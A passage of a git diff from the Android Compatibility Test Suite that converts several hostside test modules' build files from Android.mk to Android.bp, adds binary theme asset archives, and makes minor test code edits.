-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/hostside/Android.bp b/hostsidetests/shortcuts/hostside/Android.bp
new file mode 100644
index 0000000..2188702
--- /dev/null
+++ b/hostsidetests/shortcuts/hostside/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsShortcutHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/shortcuts/hostside/Android.mk b/hostsidetests/shortcuts/hostside/Android.mk
deleted file mode 100644
index f8bf4dd..0000000
--- a/hostsidetests/shortcuts/hostside/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsShortcutHostTestCases
-
-LOCAL_CTS_TEST_PACKAGE := android.shortcutshostside
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
new file mode 100644
index 0000000..3c1cdfa
--- /dev/null
+++ b/hostsidetests/statsd/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsStatsdHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+    ],
+}
diff --git a/hostsidetests/statsd/Android.mk b/hostsidetests/statsd/Android.mk
deleted file mode 100644
index b614cb1..0000000
--- a/hostsidetests/statsd/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsStatsdHostTestCases
-
-LOCAL_PROTOC_OPTIMIZE_TYPE := full
-LOCAL_STATIC_JAVA_LIBRARIES := platformprotos
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util host-libprotobuf-java-full
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/apps/Android.mk b/hostsidetests/statsd/apps/Android.mk
deleted file mode 100644
index 4a74e80..0000000
--- a/hostsidetests/statsd/apps/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
new file mode 100644
index 0000000..bf3a684
--- /dev/null
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsStatsdApp",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "org.apache.http.legacy",
+    ],
+    privileged: true,
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+        "androidx.test.rules",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
deleted file mode 100644
index a615d3c..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsStatsdApp
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit org.apache.http.legacy
-
-LOCAL_PRIVILEGED_MODULE := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4 \
-    legacy-android-test \
-    androidx.test.rules \
-    statsdprotolite
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
index 615bbc0..ad72959 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
@@ -121,6 +121,7 @@
         finish();
     }
 
+    @SuppressWarnings("ConstantOverflow")
     private void doCrash() {
         Log.e(TAG, "About to crash the app with 1/0 " + (long)1/0);
     }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index c937e30..7f2dc80 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -239,8 +239,8 @@
         for (Atom atom : atomList) {
             if (atom.getCpuTimePerUid().getUid() == uid) {
                 found = true;
-                assertTrue(atom.getCpuTimePerUid().getUserTimeMillis() > 0);
-                assertTrue(atom.getCpuTimePerUid().getSysTimeMillis() > 0);
+                assertTrue(atom.getCpuTimePerUid().getUserTimeMicros() > 0);
+                assertTrue(atom.getCpuTimePerUid().getSysTimeMicros() > 0);
             }
         }
         assertTrue("found uid " + uid, found);
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
index 2e1bbdd..190ce5d 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/Android.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
@@ -31,6 +31,7 @@
 LOCAL_PACKAGE_NAME := CtsSustainedPerformanceTestCases
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 5
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk b/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
index 433f6cf..7c4304a 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/jni/Application.mk
@@ -17,7 +17,5 @@
 APP_ABI := armeabi-v7a

 APP_PLATFORM := android-22

 

-#  Enable C++11. However, pthread, rtti and exceptions aren’t enabled

-APP_CPPFLAGS += -std=c++11

 APP_STL := gnustl_static

 LOCAL_C_INCLUDES += ${ANDROID_NDK}/sources/cxx-stl/gnu-libstdc++/4.8/include

diff --git a/hostsidetests/systemui/Android.bp b/hostsidetests/systemui/Android.bp
new file mode 100644
index 0000000..f263446
--- /dev/null
+++ b/hostsidetests/systemui/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSystemUiHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/systemui/Android.mk b/hostsidetests/systemui/Android.mk
deleted file mode 100644
index ba437b9..0000000
--- a/hostsidetests/systemui/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := CtsSystemUiHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.host.systemui
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/systemui/app/Android.bp b/hostsidetests/systemui/app/Android.bp
new file mode 100644
index 0000000..7083b80
--- /dev/null
+++ b/hostsidetests/systemui/app/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSystemUiDeviceApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/systemui/app/Android.mk b/hostsidetests/systemui/app/Android.mk
deleted file mode 100644
index fed7a9f..0000000
--- a/hostsidetests/systemui/app/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsSystemUiDeviceApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index 3764442..e2b6f70 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index 1d5a6f0..2fe4e06 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -39,5 +39,6 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 23
+#LOCAL_MIN_SDK_VERSION := 17
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/theme/assets/Q/260dpi.zip b/hostsidetests/theme/assets/Q/260dpi.zip
new file mode 100644
index 0000000..68423a4
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/280dpi.zip b/hostsidetests/theme/assets/Q/280dpi.zip
new file mode 100644
index 0000000..9a09eb4
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/300dpi.zip b/hostsidetests/theme/assets/Q/300dpi.zip
new file mode 100644
index 0000000..35390b9
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/340dpi.zip b/hostsidetests/theme/assets/Q/340dpi.zip
new file mode 100644
index 0000000..a65cc9f
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/360dpi.zip b/hostsidetests/theme/assets/Q/360dpi.zip
new file mode 100644
index 0000000..a7be2b6
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/400dpi.zip b/hostsidetests/theme/assets/Q/400dpi.zip
new file mode 100644
index 0000000..f8e62bb
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/420dpi.zip b/hostsidetests/theme/assets/Q/420dpi.zip
new file mode 100644
index 0000000..3d70848
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/560dpi.zip b/hostsidetests/theme/assets/Q/560dpi.zip
new file mode 100644
index 0000000..e1527ed
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/hdpi.zip b/hostsidetests/theme/assets/Q/hdpi.zip
new file mode 100644
index 0000000..59c6efc
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/ldpi.zip b/hostsidetests/theme/assets/Q/ldpi.zip
new file mode 100644
index 0000000..8e408af
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/mdpi.zip b/hostsidetests/theme/assets/Q/mdpi.zip
new file mode 100644
index 0000000..9aebe9d
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/tvdpi.zip b/hostsidetests/theme/assets/Q/tvdpi.zip
new file mode 100644
index 0000000..55525fb
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/xhdpi.zip b/hostsidetests/theme/assets/Q/xhdpi.zip
new file mode 100644
index 0000000..3fecabe
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/xxhdpi.zip b/hostsidetests/theme/assets/Q/xxhdpi.zip
new file mode 100644
index 0000000..14d7680
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/Q/xxxhdpi.zip b/hostsidetests/theme/assets/Q/xxxhdpi.zip
new file mode 100644
index 0000000..aa8d087
--- /dev/null
+++ b/hostsidetests/theme/assets/Q/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/260dpi.zip b/hostsidetests/theme/assets/R/260dpi.zip
new file mode 100644
index 0000000..68423a4
--- /dev/null
+++ b/hostsidetests/theme/assets/R/260dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/280dpi.zip b/hostsidetests/theme/assets/R/280dpi.zip
new file mode 100644
index 0000000..9a09eb4
--- /dev/null
+++ b/hostsidetests/theme/assets/R/280dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/300dpi.zip b/hostsidetests/theme/assets/R/300dpi.zip
new file mode 100644
index 0000000..35390b9
--- /dev/null
+++ b/hostsidetests/theme/assets/R/300dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/340dpi.zip b/hostsidetests/theme/assets/R/340dpi.zip
new file mode 100644
index 0000000..a65cc9f
--- /dev/null
+++ b/hostsidetests/theme/assets/R/340dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/360dpi.zip b/hostsidetests/theme/assets/R/360dpi.zip
new file mode 100644
index 0000000..a7be2b6
--- /dev/null
+++ b/hostsidetests/theme/assets/R/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/400dpi.zip b/hostsidetests/theme/assets/R/400dpi.zip
new file mode 100644
index 0000000..f8e62bb
--- /dev/null
+++ b/hostsidetests/theme/assets/R/400dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/420dpi.zip b/hostsidetests/theme/assets/R/420dpi.zip
new file mode 100644
index 0000000..3d70848
--- /dev/null
+++ b/hostsidetests/theme/assets/R/420dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/560dpi.zip b/hostsidetests/theme/assets/R/560dpi.zip
new file mode 100644
index 0000000..e1527ed
--- /dev/null
+++ b/hostsidetests/theme/assets/R/560dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/hdpi.zip b/hostsidetests/theme/assets/R/hdpi.zip
new file mode 100644
index 0000000..59c6efc
--- /dev/null
+++ b/hostsidetests/theme/assets/R/hdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/ldpi.zip b/hostsidetests/theme/assets/R/ldpi.zip
new file mode 100644
index 0000000..8e408af
--- /dev/null
+++ b/hostsidetests/theme/assets/R/ldpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/mdpi.zip b/hostsidetests/theme/assets/R/mdpi.zip
new file mode 100644
index 0000000..9aebe9d
--- /dev/null
+++ b/hostsidetests/theme/assets/R/mdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/tvdpi.zip b/hostsidetests/theme/assets/R/tvdpi.zip
new file mode 100644
index 0000000..55525fb
--- /dev/null
+++ b/hostsidetests/theme/assets/R/tvdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/xhdpi.zip b/hostsidetests/theme/assets/R/xhdpi.zip
new file mode 100644
index 0000000..3fecabe
--- /dev/null
+++ b/hostsidetests/theme/assets/R/xhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/xxhdpi.zip b/hostsidetests/theme/assets/R/xxhdpi.zip
new file mode 100644
index 0000000..14d7680
--- /dev/null
+++ b/hostsidetests/theme/assets/R/xxhdpi.zip
Binary files differ
diff --git a/hostsidetests/theme/assets/R/xxxhdpi.zip b/hostsidetests/theme/assets/R/xxxhdpi.zip
new file mode 100644
index 0000000..aa8d087
--- /dev/null
+++ b/hostsidetests/theme/assets/R/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/trustedvoice/Android.bp b/hostsidetests/trustedvoice/Android.bp
new file mode 100644
index 0000000..8394d6d
--- /dev/null
+++ b/hostsidetests/trustedvoice/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsTrustedVoiceHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Must match the package name in CtsTestCaseList.mk
+    libs: [
+        "cts-tradefed",
+        "ddmlib-prebuilt",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/trustedvoice/Android.mk b/hostsidetests/trustedvoice/Android.mk
deleted file mode 100644
index 34806f3..0000000
--- a/hostsidetests/trustedvoice/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsTrustedVoiceHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed ddmlib-prebuilt tradefed
-
-LOCAL_CTS_TEST_PACKAGE := android.host.trustedvoice
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/trustedvoice/app/Android.bp b/hostsidetests/trustedvoice/app/Android.bp
new file mode 100644
index 0000000..3841b80
--- /dev/null
+++ b/hostsidetests/trustedvoice/app/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsTrustedVoiceApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/trustedvoice/app/Android.mk b/hostsidetests/trustedvoice/app/Android.mk
deleted file mode 100644
index 5127579..0000000
--- a/hostsidetests/trustedvoice/app/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsTrustedVoiceApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/tv/Android.bp b/hostsidetests/tv/Android.bp
new file mode 100644
index 0000000..01d598fe
--- /dev/null
+++ b/hostsidetests/tv/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
